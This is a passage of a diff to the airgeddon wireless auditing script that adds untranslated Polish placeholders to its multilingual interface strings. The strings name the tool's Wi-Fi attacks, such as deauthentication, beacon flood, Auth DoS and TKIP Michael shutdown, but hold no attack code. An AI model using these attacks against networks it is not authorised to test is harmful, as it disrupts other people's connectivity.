+618,7 @@ function language_strings() { arr["RUSSIAN",14]="Этот интерфейс ${interface} не в режиме монитора" arr["GREEK",14]="Αυτή η διεπαφή ${interface} δεν είναι σε κατάσταση παρακολούθησης" arr["ITALIAN",14]="Questa interfaccia ${interface} non è in modalità monitor" + arr["POLISH",14]="${pending_of_translation} " arr["ENGLISH",15]="The interface changed its name while putting in managed mode. Autoselected" arr["SPANISH",15]="Esta interfaz ha cambiado su nombre al ponerse en modo managed. Se ha seleccionado automáticamente" @@ -613,6 +628,7 @@ function language_strings() { arr["RUSSIAN",15]="Интерфейс изменил имя во время перевода в управляемый режим. Выбран автоматически" arr["GREEK",15]="Η διεπάφη άλλαξε όνομα καθώς ήταν σε ετερόκλητη κατάσταση. Επιλέχθηκε αυτόματα" arr["ITALIAN",15]="Questa interfaccia ha cambiato il suo nome passando in modalità managed. È stata selezionata automaticamente" + arr["POLISH",15]="${pending_of_translation} " arr["ENGLISH",16]="Managed mode now is set on ${interface}" arr["SPANISH",16]="Se ha puesto el modo managed en ${interface}" @@ -622,6 +638,7 @@ function language_strings() { arr["RUSSIAN",16]="Управляемый режим теперь установлен на ${interface}" arr["GREEK",16]="Η διεπαφή ${interface} είναι τώρα σε ετερόκλητη κατάσταση" arr["ITALIAN",16]="${interface} è stata configurata in modalitá managed" + arr["POLISH",16]="${pending_of_translation} " arr["ENGLISH",17]="Putting your interface in managed mode..." arr["SPANISH",17]="Poniendo la interfaz en modo managed..." @@ -631,6 +648,7 @@ function language_strings() { arr["RUSSIAN",17]="Переводим ваш интерфейс в управляемый режим..." arr["GREEK",17]="Ενεργοποιείται η ετερόκλητη κατάσταση στην διεπαφή..." arr["ITALIAN",17]="Mettendo l'interfaccia in modalità managed..." + arr["POLISH",17]="${pending_of_translation} " arr["ENGLISH",18]="Putting your interface in monitor mode..." arr["SPANISH",18]="Poniendo la interfaz en modo monitor..." @@ -640,6 +658,7 @@ function language_strings() { arr["RUSSIAN",18]="Переводим ваш интерфейс в режим монитора..." arr["GREEK",18]="Ενεργοποιείται η κατάσταση παρακολούθησης στην διεπαφή..." arr["ITALIAN",18]="Mettendo l'interfaccia modalità monitor..." + arr["POLISH",18]="${pending_of_translation} " arr["ENGLISH",19]="Please be patient. Maybe killing some conflicting processes..." arr["SPANISH",19]="Por favor ten paciencia. Puede que esté matando algunos procesos que podrían causar conflicto..." @@ -649,6 +668,7 @@ function language_strings() { arr["RUSSIAN",19]="Пожалуйста, подождите. Возможно завершение некоторых конфликтующих процессов..." arr["GREEK",19]="Παρακαλώ δείξτε υπομονή. Ίσως τερματίζουν κάποιες εμπλέκουσες διεργασίες..." arr["ITALIAN",19]="Si prega di essere pazienti. Puó eessre che si stiano terminando alcuni processi che potrebbero causare un conflitto..." + arr["POLISH",19]="${pending_of_translation} " arr["ENGLISH",20]="This interface ${interface} doesn't support monitor mode" arr["SPANISH",20]="Esta interfaz ${interface} no soporta modo monitor" @@ -658,6 +678,7 @@ function language_strings() { arr["RUSSIAN",20]="Этот интерфейс ${interface} не поддерживает режим монитора" arr["GREEK",20]="Αυτή η διεπαφή ${interface} δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",20]="Questa interfaccia ${interface} non supporta la modalità monitor" + arr["POLISH",20]="${pending_of_translation} " arr["ENGLISH",21]="The interface changed its name while putting in monitor mode. Autoselected" arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" @@ -667,6 +688,7 @@ function language_strings() { arr["RUSSIAN",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" arr["GREEK",21]="Η διεπαφή άλλαξε όνομα καθώς ήταν σε κατάσταση παρακολούθησης" arr["ITALIAN",21]="Questa interfaccia ha cambiato il suo nome passando in modalità monitor. È stata selezionata automaticamente" + arr["POLISH",21]="${pending_of_translation} " arr["ENGLISH",22]="Monitor mode now is set on ${interface}" arr["SPANISH",22]="Se ha puesto el modo monitor en ${interface}" @@ -676,6 +698,7 @@ function language_strings() { arr["RUSSIAN",22]="Режим монитора установлен на ${interface}" arr["GREEK",22]="Η διεπαφή ${interface} είναι τώρα σε κατάσταση παρακολούθησης" arr["ITALIAN",22]="È stato impostato il modo monitor in ${interface}" + arr["POLISH",22]="${pending_of_translation} " arr["ENGLISH",23]="There is a problem with the interface selected. Redirecting you to script exit" arr["SPANISH",23]="Hay un problema con la interfaz seleccionada. Redirigiendo a la salida del script" @@ -685,6 +708,7 @@ function language_strings() { arr["RUSSIAN",23]="Проблема с выбранным интерфейсом. Перенаправляем вас к выходу из скрипта" arr["GREEK",23]="Υπάρχει πρόβλημε με την επιλεγμένη διεπαφή. Θα καθοδηγηθείτε στην έξοδο του script" arr["ITALIAN",23]="C'è un problema con l'interfaccia selezionata. Reindirizzando l'output dello script" + arr["POLISH",23]="${pending_of_translation} " arr["ENGLISH",24]="Select an interface to work with :" arr["SPANISH",24]="Selecciona una interfaz para trabajar con ella :" @@ -694,6 +718,7 @@ function language_strings() { arr["RUSSIAN",24]="Выберите интерфейс для работы :" arr["GREEK",24]="Επιλέξτε διεπαφή :" arr["ITALIAN",24]="Seleziona un'interfaccia con cui lavorare :" + arr["POLISH",24]="${pending_of_translation} " arr["ENGLISH",25]="Set channel (1-14) :" arr["SPANISH",25]="Selecciona un canal (1-14) :" @@ -703,6 +728,7 @@ function language_strings() { arr["RUSSIAN",25]="Установите канал (1-14) :" arr["GREEK",25]="Θέστε κανάλι (1-14) :" arr["ITALIAN",25]="Seleziona un canale (1-14) :" + arr["POLISH",25]="${pending_of_translation} " arr["ENGLISH",26]="Channel set to ${normal_color}${channel}" arr["SPANISH",26]="Canal elegido ${normal_color}${channel}" @@ -712,6 +738,7 @@ function language_strings() { arr["RUSSIAN",26]="Канал установлен на ${normal_color}${channel}" arr["GREEK",26]="Το κανάλι ${normal_color}${channel}${blue_color} έχει επιλεχθεί" arr["ITALIAN",26]="Canale selezionato ${normal_color}${channel}" + arr["POLISH",26]="${pending_of_translation} " arr["ENGLISH",27]="Type target BSSID (example: 00:11:22:33:44:55) :" arr["SPANISH",27]="Escribe el BSSID objetivo (ejemplo: 00:11:22:33:44:55) :" @@ -721,6 +748,7 @@ function language_strings() { arr["RUSSIAN",27]="Введите BSSID цели (пример: 00:11:22:33:44:55) :" arr["GREEK",27]="Πληκτρολογήστε BSSID στόχου (παράδειγμα: 00:11:22:33:44:55) :" arr["ITALIAN",27]="Scrivere l'BSSID obiettivo (es: 00:11:22:33:44:55) :" + arr["POLISH",27]="${pending_of_translation} " arr["ENGLISH",28]="BSSID set to ${normal_color}${bssid}" arr["SPANISH",28]="BSSID elegido ${normal_color}${bssid}" @@ -730,6 +758,7 @@ function language_strings() { arr["RUSSIAN",28]="BSSID установлена на ${normal_color}${bssid}" arr["GREEK",28]="Το BSSID τέθηκε σε ${normal_color}${bssid}" arr["ITALIAN",28]="BSSID selezionato ${normal_color}${bssid}" + arr["POLISH",28]="${pending_of_translation} " arr["ENGLISH",29]="Type target ESSID :" arr["SPANISH",29]="Escribe el ESSID objetivo :" @@ -739,6 +768,7 @@ function language_strings() { arr["RUSSIAN",29]="Введите BSSID цели :" arr["GREEK",29]="Πληκτρολογήστε ESSID στόχου :" arr["ITALIAN",29]="Scrivere l'ESSID obiettivo :" + arr["POLISH",29]="${pending_of_translation} " arr["ENGLISH",30]="You have selected a hidden network ESSID. Can't be used. Select another one or perform a BSSID based attack instead of this" arr["SPANISH",30]="Has seleccionado un ESSID de red oculta. No se puede usar. Selecciona otro o ejecuta un ataque basado en BSSID en lugar de este" @@ -748,6 +778,7 @@ function language_strings() { arr["RUSSIAN",30]="Вы выбрали сеть со скрытым ESSID. Использование невозможно. Выберите другую или вместо этой выполните атаку, основанную на BSSID" arr["GREEK",30]="Επιλέξατε ESSID κρυφού δικτύου. Δεν μπορεί να χρησιμοποιηθεί. Επιλέξτε κάποιο άλλο ή ξεκινήστε μία επίθεση βασισμένη στο BSSID αντί αυτού" arr["ITALIAN",30]="È stata selezionata una rete ESSID nascosta. Non puó essere utilizzata. Selezionare un altro o eseguire un attacco basato in BSSID invece di questo" + arr["POLISH",30]="${pending_of_translation} " arr["ENGLISH",31]="ESSID set to ${normal_color}${essid}" arr["SPANISH",31]="ESSID elegido ${normal_color}${essid}" @@ -757,6 +788,7 @@ function language_strings() { arr["RUSSIAN",31]="ESSID установлена на ${normal_color}${essid}" arr["GREEK",31]="Το ESSID τέθηκε σε ${normal_color}${essid}" arr["ITALIAN",31]="ESSID selezionato ${normal_color}${essid}" + arr["POLISH",31]="${pending_of_translation} " arr["ENGLISH",32]="All parameters set" arr["SPANISH",32]="Todos los parámetros están listos" @@ -766,6 +798,7 @@ function language_strings() { arr["RUSSIAN",32]="Все параметры установлены" arr["GREEK",32]="Έχουν τεθεί όλοι οι παράμετροι" arr["ITALIAN",32]="Tutti i parametri sono pronti" + arr["POLISH",32]="${pending_of_translation} " arr["ENGLISH",33]="Starting attack. When started, press [Ctrl+C] to stop..." arr["SPANISH",33]="Comenzando ataque. Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -775,6 +808,7 @@ function language_strings() { arr["RUSSIAN",33]="Атака запускается. Нажмите [Ctrl+C] для остановки..." arr["GREEK",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",33]="Cominciando l'attacco. Una volta avviato, premere [Ctrl+C] per fermare..." + arr["POLISH",33]="${pending_of_translation} " arr["ENGLISH",34]="Selected interface ${interface} is in monitor mode. Attack can be performed" arr["SPANISH",34]="La interfaz seleccionada ${interface} está en modo monitor. El ataque se puede realizar" @@ -784,6 +818,7 @@ function language_strings() { arr["RUSSIAN",34]="Выбранный интерфейс ${interface} в режиме монитора. Можно выполнить атаку" arr["GREEK",34]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει επίθεση" arr["ITALIAN",34]="L'interfaccia selezionata ${interface} è in modalità monitor. L'attacco può essere eseguito" + arr["POLISH",34]="${pending_of_translation} " arr["ENGLISH",35]="Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" arr["SPANISH",35]="Elegido ataque de Desautenticación / Desasociación mdk3 (modo monitor requerido)" @@ -793,6 +828,7 @@ function language_strings() { arr["RUSSIAN",35]="Выбрана mdk3 атака Деаутентификации / Разъединения (необходим режим монитора)" arr["GREEK",35]="Deauthentication / Έχει επιλεχθεί επίθεση dissasociation mdk3 (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",35]="Attacco Deauth / Disassociation mdk3 scelto (modalità monitor richiesta)" + arr["POLISH",35]="${pending_of_translation} " arr["ENGLISH",36]="Deauthentication aireplay attack chosen (monitor mode needed)" arr["SPANISH",36]="Elegido ataque de Desautenticación aireplay (modo monitor requerido)" @@ -802,6 +838,7 @@ function language_strings() { arr["RUSSIAN",36]="Выбрана aireplay атака Деаутентификации (необходим режим монитора)" arr["GREEK",36]="Έχει επιλεχθεί επίθεση deauthentication aireplay (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",36]="Attacco Deauth aireplay scelto (modalità monitor richiesta)" + arr["POLISH",36]="${pending_of_translation} " arr["ENGLISH",37]="WIDS / WIPS / WDS Confusion attack chosen (monitor mode needed)" arr["SPANISH",37]="Elegido ataque Confusion WIDS / WIPS / WDS (modo monitor requerido)" @@ -811,6 +848,7 @@ function language_strings() { arr["RUSSIAN",37]="Выбрана атака запутывания WIDS / WIPS / WDS (необходим режим монитора)" arr["GREEK",37]="Έχει επιλεχθεί επίθεση σύγχυσης WIDS / WIPS / WDS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",37]="Attacco Confusion / WIDS / WIPS / WDS scelto (modalità monitor richiesta)" + arr["POLISH",37]="${pending_of_translation} " arr["ENGLISH",38]="Beacon flood attack chosen (monitor mode needed)" arr["SPANISH",38]="Elegido ataque Beacon flood (modo monitor requerido)" @@ -820,6 +858,7 @@ function language_strings() { arr["RUSSIAN",38]="Выбрана атака флуда маяками (необходим режим монитора)" arr["GREEK",38]="Έχει επιλεχθεί επίθεση πλημμύρας φάρου (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",38]="Attacco Beacon flood scelto (modalità monitor richiesta)" + arr["POLISH",38]="${pending_of_translation} " arr["ENGLISH",39]="Auth DoS attack chosen (monitor mode needed)" arr["SPANISH",39]="Elegido ataque Auth DoS (modo monitor requerido)" @@ -829,6 +868,7 @@ function language_strings() { arr["RUSSIAN",39]="Выбрана атака Auth DoS (необходим режим монитора)" arr["GREEK",39]="Έχει επιλεχθεί επίθεση Auth DoS (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",39]="Attacco DoS Auth scelto (modalità monitor richiesta)" + arr["POLISH",39]="${pending_of_translation} " arr["ENGLISH",40]="Michael Shutdown (TKIP) attack chosen (monitor mode needed)" arr["SPANISH",40]="Elegido ataque Michael Shutdown (TKIP) (modo monitor requerido)" @@ -838,6 +878,7 @@ function language_strings() { arr["RUSSIAN",40]="Выбрана атака Michael Shutdown (TKIP) (необходим режим монитора)" arr["GREEK",40]="Έχει επιλεχθεί επίθεση Michael Shutdown (TKIP) (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",40]="Attacco Michael Shutdown (TKIP) scelto (modalità monitor richiesta)" + arr["POLISH",40]="${pending_of_translation} " arr["ENGLISH",41]="No interface selected. You'll be redirected to select one" arr["SPANISH",41]="No hay interfaz seleccionada. Serás redirigido para seleccionar una" @@ -847,6 +888,7 @@ function language_strings() { arr["RUSSIAN",41]="Интерфейс не выбран. Вы будете перенаправлены на выбор интерфейса" arr["GREEK",41]="Δεν έχει επιλεχθεί κάποια διεπαφή. Θα καθοδηγηθείτε για να επιλέξετε μία" arr["ITALIAN",41]="Nessuna interfaccia selezionata. Sarai reindirizzato per selezionarne una" + arr["POLISH",41]="${pending_of_translation} " arr["ENGLISH",42]="Interface ${pink_color}${interface}${blue_color} selected. Mode: ${pink_color}${ifacemode}${normal_color}" arr["SPANISH",42]="Interfaz ${pink_color}${interface}${blue_color} seleccionada. Modo: ${pink_color}${ifacemode}${normal_color}" @@ -856,6 +898,7 @@ function language_strings() { arr["RUSSIAN",42]="Интерфейс ${pink_color}${interface}${blue_color} выбран. Режим: ${pink_color}${ifacemode}${normal_color}" arr["GREEK",42]="Η διεπαφή ${pink_color}${interface}${blue_color} έχει επιλεχθεί. Κατάσταση: ${pink_color}${ifacemode}${normal_color}" arr["ITALIAN",42]="Interfaccia ${pink_color}${interface}${blue_color} selezionata. Modalità: ${pink_color}${ifacemode}${normal_color}" + arr["POLISH",42]="${pending_of_translation} " arr["ENGLISH",43]="Selected BSSID: ${pink_color}${bssid}${normal_color}" arr["SPANISH",43]="BSSID seleccionado: ${pink_color}${bssid}${normal_color}" @@ -865,6 +908,7 @@ function language_strings() { arr["RUSSIAN",43]="Выбранный BSSID: ${pink_color}${bssid}${normal_color}" arr["GREEK",43]="Επιλεγμένο BSSID: ${pink_color}${bssid}${normal_color}" arr["ITALIAN",43]="BSSID selezionato: ${pink_color}${bssid}${normal_color}" + arr["POLISH",43]="${pending_of_translation} " arr["ENGLISH",44]="Selected channel: ${pink_color}${channel}${normal_color}" arr["SPANISH",44]="Canal seleccionado: ${pink_color}${channel}${normal_color}" @@ -874,6 +918,7 @@ function language_strings() { arr["RUSSIAN",44]="Выбранный канал: ${pink_color}${channel}${normal_color}" arr["GREEK",44]="Επιλεγμένο κανάλι: ${pink_color}${channel}${normal_color}" arr["ITALIAN",44]="Canale selezionato: ${pink_color}${channel}${normal_color}" + arr["POLISH",44]="${pending_of_translation} " arr["ENGLISH",45]="Selected ESSID: ${pink_color}${essid}${blue_color} <- can't be used" arr["SPANISH",45]="ESSID seleccionado: ${pink_color}${essid}${blue_color} <- no se puede usar" @@ -883,6 +928,7 @@ function language_strings() { arr["RUSSIAN",45]="Выбранный ESSID: ${pink_color}${essid}${blue_color} <- не может быть использован" arr["GREEK",45]="Επιλεγμένο ESSID: ${pink_color}${essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",45]="ESSID selezionato: ${pink_color}${essid}${blue_color} <- non può essere utilizzato" + arr["POLISH",45]="${pending_of_translation} " arr["ENGLISH",46]="Selected ESSID: ${pink_color}${essid}${normal_color}" arr["SPANISH",46]="ESSID seleccionado: ${pink_color}${essid}${normal_color}" @@ -892,6 +938,7 @@ function language_strings() { arr["RUSSIAN",46]="Выбранный ESSID: ${pink_color}${essid}${normal_color}" arr["GREEK",46]="Επιλεγμένο ESSID: ${pink_color}${essid}${normal_color}" arr["ITALIAN",46]="ESSID selezionato: ${pink_color}${essid}${normal_color}" + arr["POLISH",46]="${pending_of_translation} " arr["ENGLISH",47]="Select an option from menu :" arr["SPANISH",47]="Selecciona una opción del menú :" @@ -901,6 +948,7 @@ function language_strings() { arr["RUSSIAN",47]="Выбор опции из меню :" arr["GREEK",47]="Επιλέξτε μία επιλογή από το μενού :" arr["ITALIAN",47]="Selezionare un'opzione del menú :" + arr["POLISH",47]="${pending_of_translation} " arr["ENGLISH",48]="1. Select another network interface" arr["SPANISH",48]="1. Selecciona otra interfaz de red" @@ -910,6 +958,7 @@ function language_strings() { arr["RUSSIAN",48]="1. Выбрать другой сетевой интерфейс" arr["GREEK",48]="1. Επιλογή διαφορετικής διεπαφής" arr["ITALIAN",48]="1. Selezionare un'altra interfaccia di rete" + arr["POLISH",48]="${pending_of_translation} " arr["ENGLISH",49]="4. Explore for targets (monitor mode needed)" arr["SPANISH",49]="4. Explorar para buscar objetivos (modo monitor requerido)" @@ -919,6 +968,7 @@ function language_strings() { arr["RUSSIAN",49]="4. Поиск целей (необходим режим монитора)" arr["GREEK",49]="4. Εξερεύνηση στόχων (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",49]="4. Esplora per cercare obiettivi (modalità monitor richiesta)" + arr["POLISH",49]="${pending_of_translation} " arr["ENGLISH",50]="monitor mode needed for attacks" arr["SPANISH",50]="modo monitor requerido en ataques" @@ -928,6 +978,7 @@ function language_strings() { arr["RUSSIAN",50]="для атак необходим режим монитора" arr["GREEK",50]="χρειάζεται η κατάσταση παρακολούθησης για τις επιθέσεις" arr["ITALIAN",50]="Modalità monitor richiesta per gli attacchi" + arr["POLISH",50]="${pending_of_translation} " arr["ENGLISH",51]="5. Deauth / disassoc amok mdk3 attack" arr["SPANISH",51]="5. Ataque Deauth / Disassoc amok mdk3" @@ -937,6 +988,7 @@ function language_strings() { arr["RUSSIAN",51]="5. Атака деаутентификации / разъединения amok mdk3" arr["GREEK",51]="5. Επίθεση Deauth / Disassoc amok mdk3" arr["ITALIAN",51]="5. Attacco Deauth / Disassoc amok mdk3" + arr["POLISH",51]="${pending_of_translation} " arr["ENGLISH",52]="6. Deauth aireplay attack" arr["SPANISH",52]="6. Ataque Deauth aireplay" @@ -946,6 +998,7 @@ function language_strings() { arr["RUSSIAN",52]="6. Атака деаутентификации aireplay" arr["GREEK",52]="6. Επίθεση Deauth aireplay" arr["ITALIAN",52]="6. Attacco Deauth aireplay" + arr["POLISH",52]="${pending_of_translation} " arr["ENGLISH",53]="7. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",53]="7. Ataque WIDS / WIPS / WDS Confusion" @@ -955,6 +1008,7 @@ function language_strings() { arr["RUSSIAN",53]="7. Атака смешения WIDS / WIPS / WDS" arr["GREEK",53]="7. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",53]="7. Attacco WIDS / WIPS / WDS Confusion" + arr["POLISH",53]="${pending_of_translation} " arr["ENGLISH",54]="old \"obsolete/non very effective\" attacks" arr["SPANISH",54]="antiguos ataques \"obsoletos/no muy efectivos\"" @@ -964,6 +1018,7 @@ function language_strings() { arr["RUSSIAN",54]="старые \"абсолютно/не очень эффективные\" атаки" arr["GREEK",54]="παλιές \"απαρχαιωμένες/όχι και τόσο αποδοτικές\" επιθέσεις" arr["ITALIAN",54]="vecchi attacchi \"obsoleti/non molto efficaci\"" + arr["POLISH",54]="${pending_of_translation} " arr["ENGLISH",55]="2. Put interface in monitor mode" arr["SPANISH",55]="2. Poner la interfaz en modo monitor" @@ -973,6 +1028,7 @@ function language_strings() { arr["RUSSIAN",55]="2. Перевести интерфейс в режим монитора" arr["GREEK",55]="2. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["ITALIAN",55]="2. Mettere l'interfaccia in modalità monitor" + arr["POLISH",55]="${pending_of_translation} " arr["ENGLISH",56]="3. Put interface in managed mode" arr["SPANISH",56]="3. Poner la interfaz en modo managed" @@ -982,6 +1038,7 @@ function language_strings() { arr["RUSSIAN",56]="3. Перевести интерфейс в управляемый режим" arr["GREEK",56]="3. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["ITALIAN",56]="3. Mettere l'interfaccia in modalità managed" + arr["POLISH",56]="${pending_of_translation} " arr["ENGLISH",57]="6. Put interface in monitor mode" arr["SPANISH",57]="6. Poner el interfaz en modo monitor" @@ -991,6 +1048,7 @@ function language_strings() { arr["RUSSIAN",57]="6. Перевести интерфейс в режим монитора" arr["GREEK",57]="6. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["ITALIAN",57]="6. Mettere l'interfaccia in modalità monitor" + arr["POLISH",57]="${pending_of_translation} " arr["ENGLISH",58]="7. Put interface in managed mode" arr["SPANISH",58]="7. Poner el interfaz en modo managed" @@ -1000,6 +1058,7 @@ function language_strings() { arr["RUSSIAN",58]="7. Перевести интерфейс в управляемый режим" arr["GREEK",58]="7. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["ITALIAN",58]="7. Mettere l'interfaccia in modalità managed" + arr["POLISH",58]="${pending_of_translation} " arr["ENGLISH",59]="11. Return to main menu" arr["SPANISH",59]="11. Volver al menú principal" @@ -1009,6 +1068,7 @@ function language_strings() { arr["RUSSIAN",59]="11. Вернуться в главное меню" arr["GREEK",59]="11. Επιστροφή στο αρχικό μενού" arr["ITALIAN",59]="11. Torna al menu principale" + arr["POLISH",59]="${pending_of_translation} " arr["ENGLISH",60]="10. About & Credits" arr["SPANISH",60]="10. Acerca de & Créditos" @@ -1018,6 +1078,7 @@ function language_strings() { arr["RUSSIAN",60]="10. О программе и Благодарности" arr["GREEK",60]="10. Σχετικά με & Εύσημα" arr["ITALIAN",60]="10. Informazioni & Credits" + arr["POLISH",60]="${pending_of_translation} " arr["ENGLISH",61]="12. Exit script" arr["SPANISH",61]="12. Salir del script" @@ -1027,6 +1088,7 @@ function language_strings() { arr["RUSSIAN",61]="12. Выйти из скрипта" arr["GREEK",61]="12. Έξοδος script" arr["ITALIAN",61]="12. Uscire dallo script" + arr["POLISH",61]="${pending_of_translation} " arr["ENGLISH",62]="8. Beacon flood attack" arr["SPANISH",62]="8. Ataque Beacon flood" @@ -1036,6 +1098,7 @@ function language_strings() { arr["RUSSIAN",62]="8. Атака флудом маяков (beacon)" arr["GREEK",62]="8. Επίθεση πλημμύρας φάρου (beacon)" arr["ITALIAN",62]="8. Attacco Beacon flood" + arr["POLISH",62]="${pending_of_translation} " arr["ENGLISH",63]="9. Auth DoS attack" arr["SPANISH",63]="9. Ataque Auth DoS" @@ -1045,6 +1108,7 @@ function language_strings() { arr["RUSSIAN",63]="9. DoS атака деаутентификации" arr["GREEK",63]="9. Επίθεση Auth DoS" arr["ITALIAN",63]="9. Attacco Auth DoS" + arr["POLISH",63]="${pending_of_translation} " arr["ENGLISH",64]="10. Michael shutdown exploitation (TKIP) attack" arr["SPANISH",64]="10. Ataque Michael shutdown exploitation (TKIP)" @@ -1054,6 +1118,7 @@ function language_strings() { arr["RUSSIAN",64]="10. Атака отключения эксплуатации от Michael (TKIP)" arr["GREEK",64]="10. Επίθεση Michael shutdown exploitation (TKIP)" arr["ITALIAN",64]="10. Attacco Michael shutdown exploitation (TKIP)" + arr["POLISH",64]="${pending_of_translation} " arr["ENGLISH",65]="Exploring for targets option chosen (monitor mode needed)" arr["SPANISH",65]="Elegida opción de exploración para buscar objetivos (modo monitor requerido)" @@ -1063,6 +1128,7 @@ function language_strings() { arr["RUSSIAN",65]="Выбрано сканирование целей (необходим режим монитора)" arr["GREEK",65]="Η επιλογή για εξερεύνηση στόχων έχει επιλεχθεί (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",65]="Scelta la opzione di scansione per cercare obiettivi (modalità monitor richiesta)" + arr["POLISH",65]="${pending_of_translation} " arr["ENGLISH",66]="Selected interface ${interface} is in monitor mode. Exploration can be performed" arr["SPANISH",66]="La interfaz seleccionada ${interface} está en modo monitor. La exploración se puede realizar" @@ -1072,6 +1138,7 @@ function language_strings() { arr["RUSSIAN",66]="Выбранный интерфейс ${interface} в режиме монитора. Сканирование может быть выполнено" arr["GREEK",66]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" arr["ITALIAN",66]="L'interfaccia selezionata ${interface} è in modalità monitor. La scansione può essere eseguita" + arr["POLISH",66]="${pending_of_translation} " arr["ENGLISH",67]="When started, press [Ctrl+C] to stop..." arr["SPANISH",67]="Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -1081,6 +1148,7 @@ function language_strings() { arr["RUSSIAN",67]="После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",67]="Όταν αρχίσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",67]="Una volta avviato, premere [Ctrl+C] per fermare..." + arr["POLISH",67]="${pending_of_translation} " arr["ENGLISH",68]="No networks found" arr["SPANISH",68]="No se encontraron redes" @@ -1090,6 +1158,7 @@ function language_strings() { arr["RUSSIAN",68]="Сети не найдены" arr["GREEK",68]="Δεν βρέθηκαν δίκτυα" arr["ITALIAN",68]="Nessuna rete trovata" + arr["POLISH",68]="${pending_of_translation} " arr["ENGLISH",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["SPANISH",69]=" N. BSSID CANAL PWR ENC ESSID" @@ -1099,6 +1168,7 @@ function language_strings() { arr["RUSSIAN",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["GREEK",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["ITALIAN",69]=" N. BSSID CANALE PWR ENC ESSID" + arr["POLISH",69]="${pending_of_translation} " arr["ENGLISH",70]="Only one target detected. Autoselected" arr["SPANISH",70]="Sólo un objetivo detectado. Se ha seleccionado automáticamente" @@ -1108,6 +1178,7 @@ function language_strings() { arr["RUSSIAN",70]="Обнаружена только одна цель. Выбрана автоматически" arr["GREEK",70]="Εντοπίστηκε μόνο ένας στόχος. Επιλέχθηκε αυτόματα" arr["ITALIAN",70]="Solo un obiettivo rilevato. É stato selezionato automaticamente" + arr["POLISH",70]="${pending_of_translation} " arr["ENGLISH",71]="(*) Network with clients" arr["SPANISH",71]="(*) Red con clientes" @@ -1117,6 +1188,7 @@ function language_strings() { arr["RUSSIAN",71]="(*) Сеть с клиентами" arr["GREEK",71]="(*) Δίκτυο με χρήστες" arr["ITALIAN",71]="(*) Rete con clienti" + arr["POLISH",71]="${pending_of_translation} " arr["ENGLISH",72]="Invalid target network was chosen" arr["SPANISH",72]="Red objetivo elegida no válida" @@ -1126,6 +1198,7 @@ function language_strings() { arr["RUSSIAN",72]="Была выбрана неподходящая целевая сеть" arr["GREEK",72]="Επιλέχθηκε άκυρο δίκτυο" arr["ITALIAN",72]="La rete scelta come obiettivo non è valida" + arr["POLISH",72]="${pending_of_translation} " arr["ENGLISH",73]="airgeddon script v${airgeddon_version} developed by :" arr["SPANISH",73]="airgeddon script v${airgeddon_version} programado por :" @@ -1135,6 +1208,7 @@ function language_strings() { arr["RUSSIAN",73]="скрипт airgeddon v${airgeddon_version} создал :" arr["GREEK",73]="Το airgeddon script v${airgeddon_version} προγραμματίστηκε από :" arr["ITALIAN",73]="airgeddon script v${airgeddon_version} sviluppato da :" + arr["POLISH",73]="${pending_of_translation} " arr["ENGLISH",74]="This script is under GPLv3 (or later) License" arr["SPANISH",74]="Este script está bajo Licencia GPLv3 (o posterior)" @@ -1144,6 +1218,7 @@ function language_strings() { arr["RUSSIAN",74]="Этот скрипт под лицензией GPLv3 (или более поздней)" arr["GREEK",74]="Αυτό το script είναι υπό την άδεια GPLv3 (ή νεότερη)" arr["ITALIAN",74]="Questo script è sotto GPLv3 (o versione successiva)" + arr["POLISH",74]="${pending_of_translation} " arr["ENGLISH",75]="Thanks to the \"Spanish pentesting crew\", to the \"Wifislax Staff\", to the forums people who help me, my collaborators, translators and specially to Kcdtv and xtonousou for beta testing and support received" arr["SPANISH",75]="Gracias al \"Spanish pentesting crew\", al \"Wifislax Staff\", a la gente de los foros que me ayuda, a mis colaboradores, traductores y en especial a Kcdtv y xtonousou por el beta testing y el apoyo recibido" @@ -1153,6 +1228,7 @@ function language_strings() { arr["RUSSIAN",75]="Спасибо \"Spanish pentesting crew\", за \"Wifislax Staff\", людям с форумов, которые мне помогают, тем, кто принимает участие в проекте, переводчикам и особенно Kcdtv и xtonousou за бета тестирование и полученную поддержку" arr["GREEK",75]="Τις ευχαριστίες μου στην \"Ισπανική ομάδα pentesting\", στο \"Wifislax Staff\", στα άτομα από το forum που με βοηθάνε, στους συνεργάτες μου, στους μεταφραστές και ειδικά στον Kcdtv και στον xtonousou για το beta testing και την υποστήριξη που λάβαμε" arr["ITALIAN",75]="Grazie alla \"Spanish pentesting crew\", a \"Wifislax Staff\", alla gente dei forum per aiutarmi, al mio staff, ai traduttori e soprattutto a Kcdtv e xtonousou per il beta testing e il supporto ricevuto" + arr["POLISH",75]="${pending_of_translation} " arr["ENGLISH",76]="Invalid 